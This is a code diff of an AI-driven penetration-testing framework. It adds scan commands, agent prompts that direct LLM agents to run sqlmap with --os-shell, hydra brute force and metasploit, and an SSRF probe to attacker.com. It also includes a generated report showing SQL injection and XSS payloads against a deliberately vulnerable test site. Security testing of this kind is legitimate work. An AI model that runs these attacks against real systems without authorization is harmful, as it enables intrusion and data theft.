missing_count = 0
for tool_name, info in status.items():
if info["installed"]:
print(f" [+] {tool_name:15} - INSTALLED ({info['path']})")
installed_count += 1
else:
print(f" [-] {tool_name:15} - NOT INSTALLED")
missing_count += 1
print("\n" + "-"*60)
print(f" Total: {installed_count} installed, {missing_count} missing")
print("-"*60)
if missing_count > 0:
print("\n [!] Run 'install_tools' to install missing tools")
return status
def update_tools_config(self):
"""Update config with found tool paths"""
status = self.tool_installer.get_tools_status()
for tool_name, info in status.items():
if info["installed"] and info["path"]:
self.config['tools'][tool_name] = info["path"]
# Save updated config
with open(self.config_path, 'w') as f:
json.dump(self.config, f, indent=4)
logger.info("Tools configuration updated")
def list_agent_roles(self): def list_agent_roles(self):
"""List all available agent roles.""" """List all available agent roles."""
print("\nAvailable Agent Roles:") print("\nAvailable Agent Roles:")
@@ -351,6 +742,27 @@ class NeuroSploitv2:
print("Usage: set_agent <agent_name>") print("Usage: set_agent <agent_name>")
elif cmd.lower() == 'discover_ollama': elif cmd.lower() == 'discover_ollama':
self.discover_ollama_models() self.discover_ollama_models()
elif cmd.lower() == 'install_tools':
run_installer_menu()
self.update_tools_config()
elif cmd.lower() == 'check_tools':
self.check_tools_status()
elif cmd.startswith('scan '):
parts = cmd.split(maxsplit=1)
if len(parts) > 1:
target = parts[1].strip().strip('"')
agent_role = self.selected_agent_role or "bug_bounty_hunter"
self.execute_real_scan(target, scan_type="full", agent_role=agent_role)
else:
print("Usage: scan <target_url>")
elif cmd.startswith('quick_scan '):
parts = cmd.split(maxsplit=1)
if len(parts) > 1:
target = parts[1].strip().strip('"')
agent_role = self.selected_agent_role or "bug_bounty_hunter"
self.execute_real_scan(target, scan_type="quick", agent_role=agent_role)
else:
print("Usage: quick_scan <target_url>")
else: else:
print("Unknown command. Type 'help' for available commands.") print("Unknown command. Type 'help' for available commands.")
except KeyboardInterrupt: except KeyboardInterrupt:
@@ -417,16 +829,39 @@ class NeuroSploitv2:
def _show_help(self): def _show_help(self):
"""Show help menu""" """Show help menu"""
print(""" print("""
Available Commands: =======================================================================
run_agent <role> "<input>"- Execute a specific agent role (e.g., run_agent red_team_agent "scan target.com") NeuroSploitv2 - Command Reference
set_agent <agent_name> - Set the default agent for the session =======================================================================
list_roles - List all configured agent roles and their details
list_profiles - List all available LLM profiles SCANNING COMMANDS (Execute Real Tools):
set_profile <name> - Set the default LLM profile for the session scan <target> - Run FULL pentest scan with real tools (nmap, nuclei, nikto, etc.)
quick_scan <target> - Run QUICK scan (essential checks only)
TOOL MANAGEMENT:
install_tools - Install required pentest tools (nmap, sqlmap, nuclei, etc.)
check_tools - Check which tools are installed
AGENT COMMANDS (AI Analysis):
run_agent <role> "<input>" - Execute AI agent with input
set_agent <agent_name> - Set default agent for AI analysis
CONFIGURATION:
list_roles - List all available agent roles
list_profiles - List all LLM profiles
set_profile <name> - Set the default LLM profile
discover_ollama - Discover and configure local Ollama models discover_ollama - Discover and configure local Ollama models
config - Show current configuration config - Show current configuration
GENERAL:
help - Show this help menu help - Show this help menu
exit/quit - Exit the framework exit/quit - Exit the framework
EXAMPLES:
scan https://example.com - Full pentest scan
quick_scan 192.168.1.1 - Quick vulnerability check
install_tools - Install nmap, sqlmap, nuclei, etc.
run_agent bug_bounty_hunter "Analyze https://target.com"
=======================================================================
""") """)
@@ -437,17 +872,42 @@ def main():
formatter_class=argparse.RawDescriptionHelpFormatter, formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=""" epilog="""
Examples: Examples:
python neurosploit.py --agent-role red_team_agent --input "Scan example.com for vulnerabilities" # Run real pentest scan
python neurosploit.py --scan https://example.com
python neurosploit.py --quick-scan 192.168.1.1
# Install required tools
python neurosploit.py --install-tools
# AI-powered analysis
python neurosploit.py --agent-role red_team_agent --input "Analyze target.com"
# Interactive mode
python neurosploit.py -i python neurosploit.py -i
python neurosploit.py --list-agents
""" """
) )
parser.add_argument('-r', '--agent-role', help='Name of the agent role to execute') # Scanning options
parser.add_argument('--scan', metavar='TARGET',
help='Run FULL pentest scan on target (executes real tools)')
parser.add_argument('--quick-scan', metavar='TARGET',
help='Run QUICK pentest scan on target')
# Tool management
parser.add_argument('--install-tools', action='store_true',
help='Install required pentest tools (nmap, sqlmap, nuclei, etc.)')
parser.add_argument('--check-tools', action='store_true',
help='Check status of installed tools')
# Agent options
parser.add_argument('-r', '--agent-role',
help='Name of the agent role to execute')
parser.add_argument('-i', '--interactive', action='store_true', parser.add_argument('-i', '--interactive', action='store_true',
help='Start in interactive mode') help='Start in interactive mode')
parser.add_argument('--input', help='Input prompt/task for the agent role') parser.add_argument('--input', help='Input prompt/task for the agent role')
parser.add_argument('--llm-profile', help='LLM profile to use for the execution') parser.add_argument('--llm-profile', help='LLM profile to use for the execution')
# Configuration
parser.add_argument('-c', '--config', default='config/config.json', parser.add_argument('-c', '--config', default='config/config.json',
help='Configuration file path') help='Configuration file path')
parser.add_argument('-v', '--verbose', action='store_true', parser.add_argument('-v', '--verbose', action='store_true',
@@ -465,17 +925,47 @@ Examples:
# Initialize framework # Initialize framework
framework = NeuroSploitv2(config_path=args.config) framework = NeuroSploitv2(config_path=args.config)
if args.list_agents: # Handle tool installation
if args.install_tools:
run_installer_menu()
framework.update_tools_config()
# Handle tool check
elif args.check_tools:
framework.check_tools_status()
# Handle full scan
elif args.scan:
agent_role = args.agent_role or "bug_bounty_hunter"
framework.execute_real_scan(args.scan, scan_type="full", agent_role=agent_role)
# Handle quick scan
elif args.quick_scan:
agent_role = args.agent_role or "bug_bounty_hunter"
framework.execute_real_scan(args.quick_scan, scan_type="quick", agent_role=agent_role)
# Handle list commands
elif args.list_agents:
framework.list_agent_roles() framework.list_agent_roles()
elif args.list_profiles: elif args.list_profiles:
framework.list_llm_profiles() framework.list_llm_profiles()
# Handle interactive mode
elif args.interactive: elif args.interactive:
framework.interactive_mode() framework.interactive_mode()
# Handle agent execution
elif args.agent_role and args.input: elif args.agent_role and args.input:
framework.execute_agent_role(args.agent_role, args.input, llm_profile_override=args.llm_profile) framework.execute_agent_role(args.agent_role, args.input, llm_profile_override=args.llm_profile)
else: else:
parser.print_help() parser.print_help()
print("\n[!] Please specify an agent role and input, use --list-agents to see available agents, or use interactive mode (-i)") print("\n" + "="*70)
print("QUICK START:")
print(" 1. Install tools: python neurosploit.py --install-tools")
print(" 2. Run scan: python neurosploit.py --scan https://target.com")
print(" 3. Interactive: python neurosploit.py -i")
print("="*70)
File diff suppressed because it is too large Load Diff
+55 -10
View File
@@ -1,21 +1,66 @@
# Bug Bounty Hunter Prompt # Bug Bounty Hunter Prompt
## User Prompt ## User Prompt
As a Bug Bounty Hunter, analyze the provided target information and reconnaissance data to identify potential vulnerabilities. Focus on high-impact findings and provide clear reproduction steps. Analyze the security scan results and generate a CONSOLIDATED professional vulnerability report.
**Target Information:** **Target Information:**
{target_info_json} {target_info_json}
**Reconnaissance Data:** **Scan Results:**
{recon_data_json} {recon_data_json}
**Instructions:** Generate a professional pentest report with ONLY the vulnerabilities found in the scan results above.
1. Identify and prioritize potential vulnerabilities (OWASP Top 10, business logic flaws, etc.).
2. For each vulnerability, provide a brief description and potential impact.
3. Detail clear, step-by-step reproduction instructions.
4. Provide a step-by-step exploitation guide for each vulnerability.
5. Suggest potential fixes or mitigations.
6. Classify the severity (Critical, High, Medium, Low).
## System Prompt ## System Prompt
You are an expert Bug Bounty Hunter with extensive experience in finding critical vulnerabilities in web applications and APIs. Your responses should be concise, technically accurate, and focused on actionable findings. Always consider the perspective of a real-world attacker while maintaining ethical guidelines. You are an Expert Bug Bounty Hunter generating a professional vulnerability report.
IMPORTANT: You will receive REAL outputs from security tools (nmap, nuclei, nikto, sqlmap, etc.).
Your job is to ANALYZE these outputs and create a CONSOLIDATED report.
For EACH vulnerability found in the tool outputs, document using this format:
---
## [SEVERITY] - Vulnerability Name
| Field | Value |
|-------|-------|
| **Severity** | Critical/High/Medium/Low |
| **CVSS Score** | X.X |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **CWE** | CWE-XXX |
| **Affected URL/Endpoint** | [exact URL from scan] |
### Description
[Technical description based on what the tool found]
### Impact
[Security and business impact of this vulnerability]
### Proof of Concept (PoC)
**Request:**
```http
[HTTP request that exploits this - extract from tool output or construct based on findings]
```
**Payload:**
```
[The specific payload used]
```
**Response:**
```http
[Response showing the vulnerability - from tool output if available]
```
### Remediation
[Specific steps to fix this issue]
---
CRITICAL RULES:
1. ONLY report vulnerabilities that appear in the tool outputs
2. DO NOT invent or hallucinate vulnerabilities
3. Use the ACTUAL endpoints/URLs from the scan results
4. If tools found nothing, report: "No vulnerabilities detected during this assessment"
5. Be precise and professional
+132 -10
View File
@@ -1,18 +1,140 @@
# OWASP Top 10 Prompt # OWASP Top 10 Expert Prompt
## User Prompt ## User Prompt
Analyze the provided web application against the OWASP Top 10 categories. If vulnerability scan results are not provided, perform the necessary reconnaissance and scanning to gather the information. As an OWASP Security Expert, test the target web application against the OWASP Top 10 vulnerabilities using real security tools and document all findings with exploitation proof.
**Target:** **Target:**
{user_input} {user_input}
**Instructions:** **MANDATORY TESTING PROCEDURE:**
1. If scan results are not provided, perform reconnaissance and vulnerability scanning on the target to gather information.
2. Map identified vulnerabilities to the relevant OWASP Top 10 categories (e.g., Injection, Broken Authentication, XSS). ### 1. A01:2021 - Broken Access Control
3. For each mapped vulnerability, describe its presence in the application. Test for:
4. Provide a step-by-step exploitation guide for each vulnerability. ```
5. Assess the risk associated with each OWASP Top 10 category. [TOOL] curl: -v <target>/admin
6. Provide specific remediation advice for each category based on the findings. [TOOL] curl: -v <target>/api/users/1 (test IDOR)
```
### 2. A02:2021 - Cryptographic Failures
Check:
```
[TOOL] curl: -I <target> (check HTTPS, HSTS)
[TOOL] nmap: --script ssl-enum-ciphers -p 443 <target>
```
### 3. A03:2021 - Injection
Test SQL/Command Injection:
```
[TOOL] sqlmap: -u "<target>/search?q=test" --batch --level=2
[TOOL] nuclei: -u <target> -t cves/,vulnerabilities/
```
### 4. A04:2021 - Insecure Design
Review authentication flows and business logic
### 5. A05:2021 - Security Misconfiguration
```
[TOOL] nikto: -h <target>
[TOOL] nuclei: -u <target> -t misconfiguration/
```
### 6. A06:2021 - Vulnerable Components
```
[TOOL] whatweb: <target>
[TOOL] nuclei: -u <target> -t technologies/
```
### 7. A07:2021 - Authentication Failures
Test login security, brute force protection
### 8. A08:2021 - Software Integrity Failures
Check for unsigned updates, insecure CI/CD
### 9. A09:2021 - Logging & Monitoring Failures
Test if attacks are logged
### 10. A10:2021 - SSRF
```
[TOOL] curl: -v "<target>/fetch?url=http://attacker.com"
```
**REQUIRED REPORT FORMAT:**
For each vulnerability found:
---
## OWASP A0X: [Category Name]
### Vulnerability: [Specific Issue]
| Field | Value |
|-------|-------|
| **OWASP Category** | A0X:2021 - Name |
| **Severity** | Critical/High/Medium/Low |
| **CVSS** | X.X |
| **CWE** | CWE-XXX |
| **Endpoint** | https://target.com/path |
**Description:**
[What the vulnerability is and why it's dangerous]
**Proof of Concept:**
Request:
```http
GET /admin HTTP/1.1
Host: target.com
Cookie: role=user
```
Payload:
```
Modified cookie: role=admin
```
Response:
```http
HTTP/1.1 200 OK
Content-Type: text/html
<h1>Admin Dashboard</h1>
...
```
**Tool Evidence:**
```
[Actual tool output confirming vulnerability]
```
**Remediation:**
[Specific fix instructions]
---
## System Prompt ## System Prompt
You are a web security expert with deep knowledge of the OWASP Top 10. Your analysis should clearly link observed vulnerabilities to these critical categories and offer practical, industry-standard mitigation strategies. Emphasize impact and prevention. You have access to the following tools: `subfinder`, `nuclei`, `burpsuite`, `sqlmap`. Use them to gather information about the target if necessary. You are an OWASP Top 10 Security Expert. Your job is to:
1. **EXECUTE SECURITY TOOLS** - Use [TOOL] syntax for every test:
- `[TOOL] sqlmap:` for injection testing
- `[TOOL] nuclei:` for vulnerability scanning
- `[TOOL] nikto:` for web server testing
- `[TOOL] curl:` for manual requests
- `[TOOL] nmap:` for network/SSL testing
2. **PROVIDE EXPLOITATION PROOF** - Each finding must include:
- HTTP request that triggers the vulnerability
- Exact payload used
- Response showing exploitation success
- Raw tool output as evidence
3. **MAP TO OWASP** - Classify each finding:
- OWASP Top 10 category (A01-A10)
- CWE identifier
- CVSS score with vector
4. **ACTIONABLE REMEDIATION** - Provide:
- Code fixes where applicable
- Configuration changes
- WAF rules if relevant
DO NOT report theoretical vulnerabilities. Only document findings you can PROVE with tool output or exploitation evidence.
+118 -9
View File
@@ -1,7 +1,7 @@
# Penetration Test Prompt # Penetration Test Generalist Prompt
## User Prompt ## User Prompt
As a Penetration Tester, perform a comprehensive security assessment based on the provided scope and initial information. Identify vulnerabilities, assess risks, and provide actionable recommendations. As a Professional Penetration Tester, conduct a comprehensive security assessment of the target using real tools and provide detailed findings with exploitation proof.
**Scope of Work:** **Scope of Work:**
{scope_json} {scope_json}
@@ -9,12 +9,121 @@ As a Penetration Tester, perform a comprehensive security assessment based on th
**Initial Information:** **Initial Information:**
{initial_info_json} {initial_info_json}
**Instructions:** **MANDATORY TESTING METHODOLOGY:**
1. Outline a detailed penetration testing plan (reconnaissance, scanning, enumeration, exploitation, post-exploitation).
2. Identify potential attack vectors. ### Phase 1: Reconnaissance
3. Suggest tools and techniques for each phase. Execute these tools and document output:
4. Provide a risk assessment for identified vulnerabilities. ```
5. Formulate remediation strategies. [TOOL] nmap: -sV -sC -p 1-1000 <target>
[TOOL] whatweb: <target>
```
### Phase 2: Vulnerability Scanning
```
[TOOL] nuclei: -u <target> -severity critical,high,medium
[TOOL] nikto: -h <target>
```
### Phase 3: Exploitation Testing
Based on findings, test:
```
[TOOL] sqlmap: -u <url> --batch --level=2 --risk=2
[TOOL] curl: -v -X POST <url> -d "payload"
```
### Phase 4: Documentation (REQUIRED FORMAT)
For EACH vulnerability found, you MUST document:
---
## [SEVERITY] Vulnerability: [Title]
| Attribute | Value |
|-----------|-------|
| **Severity** | Critical/High/Medium/Low |
| **CVSS Score** | X.X |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **CWE** | CWE-XXX |
| **Endpoint** | https://target.com/vulnerable/path |
### Description
Technical description of the vulnerability and why it exists.
### Impact
- What data/systems are at risk
- Potential business impact
- Attack scenarios
### Proof of Concept (PoC)
**Request:**
```http
POST /api/login HTTP/1.1
Host: target.com
Content-Type: application/json
{"username": "admin' OR '1'='1", "password": "test"}
```
**Payload:**
```
admin' OR '1'='1' --
```
**Response:**
```http
HTTP/1.1 200 OK
{"status": "success", "token": "eyJ..."}
```
**Tool Output:**
```
[Paste actual output from nmap/nuclei/sqlmap showing the vulnerability]
```
### Steps to Reproduce
1. Open Burp Suite and configure browser proxy
2. Navigate to https://target.com/login
3. Enter payload in username field
4. Observe authentication bypass
### Remediation
- Use parameterized queries
- Implement input validation
- Apply WAF rules
### References
- https://owasp.org/www-community/attacks/SQL_Injection
- https://cwe.mitre.org/data/definitions/89.html
---
## System Prompt ## System Prompt
You are a highly skilled and ethical Penetration Tester. Your goal is to systematically identify security weaknesses, assess their exploitability, and provide clear, practical advice to improve the security posture of the target system. Adhere strictly to the defined scope and ethical guidelines. You are a Senior Penetration Tester conducting a professional security assessment.
**CRITICAL REQUIREMENTS:**
1. **EXECUTE REAL TOOLS** - You MUST use [TOOL] syntax to run security tools:
- `[TOOL] nmap: <arguments>` for network scanning
- `[TOOL] nuclei: <arguments>` for vulnerability scanning
- `[TOOL] sqlmap: <arguments>` for SQL injection testing
- `[TOOL] nikto: <arguments>` for web server testing
- `[TOOL] curl: <arguments>` for HTTP requests
2. **PROVIDE REAL EVIDENCE** - Every finding MUST include:
- Exact HTTP request that exploits the vulnerability
- The specific payload used
- Response showing successful exploitation
- Raw tool output as proof
3. **NO HYPOTHETICAL FINDINGS** - Only report what you can PROVE:
- Run the tool, capture the output
- If the tool confirms vulnerability, document it
- If not exploitable, do not report it
4. **PROFESSIONAL FORMAT** - Each finding needs:
- CVSS Score with vector string
- CWE classification
- Reproducible steps
- Specific remediation
You are being evaluated on the QUALITY and VERIFIABILITY of your findings. Theoretical risks without proof are not acceptable.
+139 -10
View File
@@ -1,21 +1,150 @@
# Red Team Agent Prompt # Red Team Agent Prompt
## User Prompt ## User Prompt
As a Red Team Agent, analyze the given mission objectives and target environment details to plan a comprehensive attack campaign. Focus on achieving the objectives while minimizing detection. As a Red Team Operator, conduct a simulated attack against the target using real offensive tools. Document all successful attack paths with exploitation proof.
**Mission Objectives:** **Mission Objectives:**
{mission_objectives_json} {mission_objectives_json}
**Target Environment Details:** **Target Environment:**
{target_environment_json} {target_environment_json}
**Instructions:** **ATTACK METHODOLOGY:**
1. Develop an initial access strategy.
2. Outline reconnaissance and enumeration steps. ### Phase 1: Reconnaissance
3. Propose lateral movement and privilege escalation techniques. Execute:
4. Plan for persistence and evasion. ```
5. Suggest data exfiltration methods. [TOOL] nmap: -sV -sC -O -p- <target>
6. Provide a timeline and potential risks. [TOOL] subfinder: -d <domain>
[TOOL] whatweb: <target>
```
### Phase 2: Vulnerability Discovery
```
[TOOL] nuclei: -u <target> -severity critical,high
[TOOL] nikto: -h <target>
```
### Phase 3: Initial Access
Based on findings:
```
[TOOL] sqlmap: -u <url> --batch --os-shell
[TOOL] hydra: -l admin -P /path/wordlist.txt <target> ssh
```
### Phase 4: Post-Exploitation
If access gained:
- Privilege escalation
- Lateral movement
- Data exfiltration paths
**REQUIRED DOCUMENTATION FORMAT:**
For each successful attack:
---
## Attack: [Attack Name]
| Attribute | Value |
|-----------|-------|
| **Attack Type** | Initial Access/Privilege Escalation/Lateral Movement |
| **MITRE ATT&CK** | T1XXX |
| **Severity** | Critical/High |
| **Target** | IP/Host/Service |
### Attack Description
[What the attack achieves and why it works]
### Prerequisites
- Access level required
- Tools needed
- Network position
### Exploitation Steps
**Step 1: Reconnaissance**
```bash
nmap -sV -sC 192.168.1.100
```
Output:
```
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http Apache httpd 2.4.29
3306/tcp open mysql MySQL 5.7.25
```
**Step 2: Vulnerability Exploitation**
Request:
```http
POST /login.php HTTP/1.1
Host: 192.168.1.100
Content-Type: application/x-www-form-urlencoded
username=admin' OR '1'='1&password=x
```
Response:
```http
HTTP/1.1 302 Found
Location: /dashboard.php
Set-Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ==
```
**Step 3: Post-Exploitation**
```bash
# Obtained shell access
id
# uid=33(www-data) gid=33(www-data)
# Privilege escalation
sudo -l
# (root) NOPASSWD: /usr/bin/vim
```
### Proof of Compromise
```
[Screenshot or command output showing successful access]
```
### Impact
- Systems compromised
- Data accessible
- Potential damage
### Mitigations
- Patch vulnerable software
- Implement MFA
- Network segmentation
---
## System Prompt ## System Prompt
You are a seasoned Red Team operator, adept at simulating real-world adversaries. Your plans should be creative, sophisticated, and aim to bypass defensive measures. Emphasize stealth, operational security, and achieving mission goals. You are an Elite Red Team Operator. Your mission is to simulate real-world attacks.
**OPERATIONAL REQUIREMENTS:**
1. **USE REAL TOOLS** - Execute attacks using [TOOL] syntax:
- `[TOOL] nmap:` for network reconnaissance
- `[TOOL] nuclei:` for vulnerability scanning
- `[TOOL] sqlmap:` for SQL injection
- `[TOOL] hydra:` for credential attacks
- `[TOOL] metasploit:` for exploitation
2. **DOCUMENT ATTACK CHAINS** - Show complete path:
- Initial access vector
- Commands executed
- Responses received
- Escalation steps
3. **PROVIDE PROOF** - Each attack must include:
- Tool command and output
- Request/response pairs
- Evidence of successful exploitation
- Impact demonstration
4. **MAINTAIN OPSEC** - Note:
- Detection risks
- Evasion techniques used
- Cleanup recommendations
Remember: A red team report without proof of exploitation is just a guess. Show the actual attack, not what "could" happen.
+519
View File
@@ -0,0 +1,519 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Security Assessment Report - 20260109_222127</title>
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/github-dark.min.css">
<style>
:root {
--bg-primary: #0a0e17;
--bg-secondary: #111827;
--bg-card: #1a1f2e;
--border-color: #2d3748;
--text-primary: #e2e8f0;
--text-secondary: #94a3b8;
--accent: #3b82f6;
--critical: #ef4444;
--high: #f97316;
--medium: #eab308;
--low: #22c55e;
--info: #6366f1;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
background: var(--bg-primary);
color: var(--text-primary);
line-height: 1.6;
}
.container { max-width: 1400px; margin: 0 auto; padding: 2rem; }
/* Header */
.header {
background: linear-gradient(135deg, #1e3a5f 0%, #0f172a 100%);
padding: 3rem 2rem;
border-radius: 16px;
margin-bottom: 2rem;
border: 1px solid var(--border-color);
}
.header-content { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 1rem; }
.logo { font-size: 2rem; font-weight: 800; background: linear-gradient(90deg, #3b82f6, #8b5cf6); -webkit-background-clip: text; -webkit-text-fill-color: transparent; }
.report-meta { text-align: right; color: var(--text-secondary); font-size: 0.9rem; }
/* Stats Grid */
.stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 1.5rem; margin-bottom: 2rem; }
.stat-card {
background: var(--bg-card);
border-radius: 12px;
padding: 1.5rem;
border: 1px solid var(--border-color);
transition: transform 0.2s, box-shadow 0.2s;
}
.stat-card:hover { transform: translateY(-2px); box-shadow: 0 8px 25px rgba(0,0,0,0.3); }
.stat-value { font-size: 2.5rem; font-weight: 700; }
.stat-label { color: var(--text-secondary); font-size: 0.875rem; text-transform: uppercase; letter-spacing: 0.5px; }
.stat-critical .stat-value { color: var(--critical); }
.stat-high .stat-value { color: var(--high); }
.stat-medium .stat-value { color: var(--medium); }
.stat-low .stat-value { color: var(--low); }
/* Risk Score */
.risk-section { display: grid; grid-template-columns: 1fr 1fr; gap: 2rem; margin-bottom: 2rem; }
@media (max-width: 900px) { .risk-section { grid-template-columns: 1fr; } }
.risk-card {
background: var(--bg-card);
border-radius: 16px;
padding: 2rem;
border: 1px solid var(--border-color);
}
.risk-score-circle {
width: 180px; height: 180px;
border-radius: 50%;
background: conic-gradient(#e74c3c 0deg, #e74c3c 360.0deg, #2d3748 360.0deg);
display: flex; align-items: center; justify-content: center;
margin: 0 auto 1rem;
}
.risk-score-inner {
width: 140px; height: 140px;
border-radius: 50%;
background: var(--bg-card);
display: flex; flex-direction: column; align-items: center; justify-content: center;
}
.risk-score-value { font-size: 3rem; font-weight: 800; color: #e74c3c; }
.risk-score-label { color: var(--text-secondary); font-size: 0.875rem; }
.chart-container { height: 250px; }
/* Targets */
.targets-list { display: flex; flex-wrap: wrap; gap: 0.5rem; margin-top: 1rem; }
.target-tag {
background: rgba(59, 130, 246, 0.2);
border: 1px solid var(--accent);
padding: 0.5rem 1rem;
border-radius: 20px;
font-size: 0.875rem;
font-family: monospace;
}
/* Main Report */
.report-section {
background: var(--bg-card);
border-radius: 16px;
padding: 2rem;
border: 1px solid var(--border-color);
margin-bottom: 2rem;
}
.section-title {
font-size: 1.5rem;
font-weight: 700;
margin-bottom: 1.5rem;
padding-bottom: 1rem;
border-bottom: 2px solid var(--accent);
display: flex;
align-items: center;
gap: 0.75rem;
}
.section-title::before {
content: '';
width: 4px;
height: 24px;
background: var(--accent);
border-radius: 2px;
}
/* Vulnerability Cards */
.report-content h2 {
background: linear-gradient(90deg, var(--bg-secondary), transparent);
padding: 1rem 1.5rem;
border-radius: 8px;
margin: 2rem 0 1rem;
border-left: 4px solid var(--accent);
font-size: 1.25rem;
}
.report-content h2:has-text("Critical"), .report-content h2:contains("CRITICAL") { border-left-color: var(--critical); }
.report-content h3 { color: var(--accent); margin: 1.5rem 0 0.75rem; font-size: 1.1rem; }
.report-content table {
width: 100%;
border-collapse: collapse;
margin: 1rem 0;
background: var(--bg-secondary);
border-radius: 8px;
overflow: hidden;
}
.report-content th, .report-content td {
padding: 0.75rem 1rem;
text-align: left;
border-bottom: 1px solid var(--border-color);
}
.report-content th { background: rgba(59, 130, 246, 0.1); color: var(--accent); font-weight: 600; }
.report-content pre {
background: #0d1117;
border: 1px solid var(--border-color);
border-radius: 8px;
padding: 1rem;
overflow-x: auto;
margin: 1rem 0;
}
.report-content code {
font-family: 'JetBrains Mono', 'Fira Code', monospace;
font-size: 0.875rem;
}
.report-content p { margin: 0.75rem 0; }
.report-content hr { border: none; border-top: 1px solid var(--border-color); margin: 2rem 0; }
.report-content ul, .report-content ol { margin: 1rem 0; padding-left: 1.5rem; }
.report-content li { margin: 0.5rem 0; }
/* Severity Badges */
.report-content h2 { position: relative; }
/* Footer */
.footer {
text-align: center;
padding: 2rem;
color: var(--text-secondary);
font-size: 0.875rem;
border-top: 1px solid var(--border-color);
margin-top: 3rem;
}
/* Print Styles */
@media print {
body { background: white; color: black; }
.stat-card, .risk-card, .report-section { border: 1px solid #ddd; }
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<div class="header-content">
<div>
<div class="logo">NeuroSploit</div>
<p style="color: var(--text-secondary); margin-top: 0.5rem;">AI-Powered Security Assessment Report</p>
</div>
<div class="report-meta">
<div><strong>Report ID:</strong> 20260109_222127</div>
<div><strong>Date:</strong> 2026-01-09 22:25</div>
<div><strong>Agent:</strong> Pentestfull</div>
</div>
</div>
<div class="targets-list">
<span class="target-tag">http://testphp.vulnweb.com/</span>
</div>
</div>
<div class="stats-grid">
<div class="stat-card stat-critical">
<div class="stat-value">4</div>
<div class="stat-label">Critical</div>
</div>
<div class="stat-card stat-high">
<div class="stat-value">8</div>
<div class="stat-label">High</div>
</div>
<div class="stat-card stat-medium">
<div class="stat-value">4</div>
<div class="stat-label">Medium</div>
</div>
<div class="stat-card stat-low">
<div class="stat-value">4</div>
<div class="stat-label">Low</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: var(--accent);">36</div>
<div class="stat-label">Tests Run</div>
</div>
</div>
<div class="risk-section">
<div class="risk-card">
<h3 style="text-align: center; margin-bottom: 1rem; color: var(--text-secondary);">Risk Score</h3>
<div class="risk-score-circle">
<div class="risk-score-inner">
<div class="risk-score-value">100</div>
<div class="risk-score-label">Critical</div>
</div>
</div>
</div>
<div class="risk-card">
<h3 style="margin-bottom: 1rem; color: var(--text-secondary);">Severity Distribution</h3>
<div class="chart-container">
<canvas id="severityChart"></canvas>
</div>
</div>
</div>
<div class="report-section">
<div class="section-title">Vulnerability Report</div>
<div class="report-content">
<h1>Executive Summary</h1>
<p>The penetration test of http://testphp.vulnweb.com revealed multiple critical security vulnerabilities including SQL injection, reflected XSS, and local file inclusion. The application demonstrates classic web application security flaws that could lead to complete database compromise and arbitrary code execution.</p>
<h1>Vulnerabilities Found</h1>
<hr />
<h2>[CRITICAL] SQL Injection in listproducts.php</h2>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Critical</td>
</tr>
<tr>
<td>CVSS</td>
<td>9.8</td>
</tr>
<tr>
<td>CWE</td>
<td>CWE-89</td>
</tr>
<tr>
<td>Location</td>
<td>http://testphp.vulnweb.com/listproducts.php?cat=1</td>
</tr>
</tbody>
</table>
<h3>Description</h3>
<p>The <code>cat</code> parameter in listproducts.php is vulnerable to SQL injection. SQLMap successfully identified multiple injection techniques including boolean-based blind, error-based, time-based blind, and UNION query injection.</p>
<h3>Proof of Concept</h3>
<p><strong>Vulnerable Request:</strong></p>
<pre><code>curl &quot;http://testphp.vulnweb.com/listproducts.php?cat=1&quot;
</code></pre>
<p><strong>Payload Used:</strong></p>
<pre><code>Standard SQLMap payloads for MySQL detection
</code></pre>
<p><strong>Evidence (Response excerpt):</strong></p>
<pre><code>GET parameter 'cat' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
GET parameter 'cat' is 'MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable
GET parameter 'cat' appears to be 'MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)' injectable
GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
target URL appears to have 11 columns in query
</code></pre>
<h3>Impact</h3>
<p>Complete database compromise including ability to extract sensitive data, modify database contents, and potentially execute operating system commands depending on database privileges.</p>
<h3>Remediation</h3>
<p>Implement parameterized queries/prepared statements for all database interactions. Validate and sanitize all user input before database queries.</p>
<hr />
<h2>[HIGH] Reflected Cross-Site Scripting (XSS) in search.php</h2>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>CVSS</td>
<td>7.5</td>
</tr>
<tr>
<td>CWE</td>
<td>CWE-79</td>
</tr>
<tr>
<td>Location</td>
<td>http://testphp.vulnweb.com/search.php?test=</td>
</tr>
</tbody>
</table>
<h3>Description</h3>
<p>The search functionality reflects user input directly into MySQL error messages without proper sanitization, creating a reflected XSS vulnerability.</p>
<h3>Proof of Concept</h3>
<p><strong>Vulnerable Request:</strong></p>
<pre><code>curl &quot;http://testphp.vulnweb.com/search.php?test=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E&quot;
</code></pre>
<p><strong>Payload Used:</strong></p>
<pre><code>&lt;script&gt;alert('XSS')&lt;/script&gt;
</code></pre>
<p><strong>Evidence (Response excerpt):</strong></p>
<pre><code>Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'XSS')&lt;/script&gt;'' at line 1
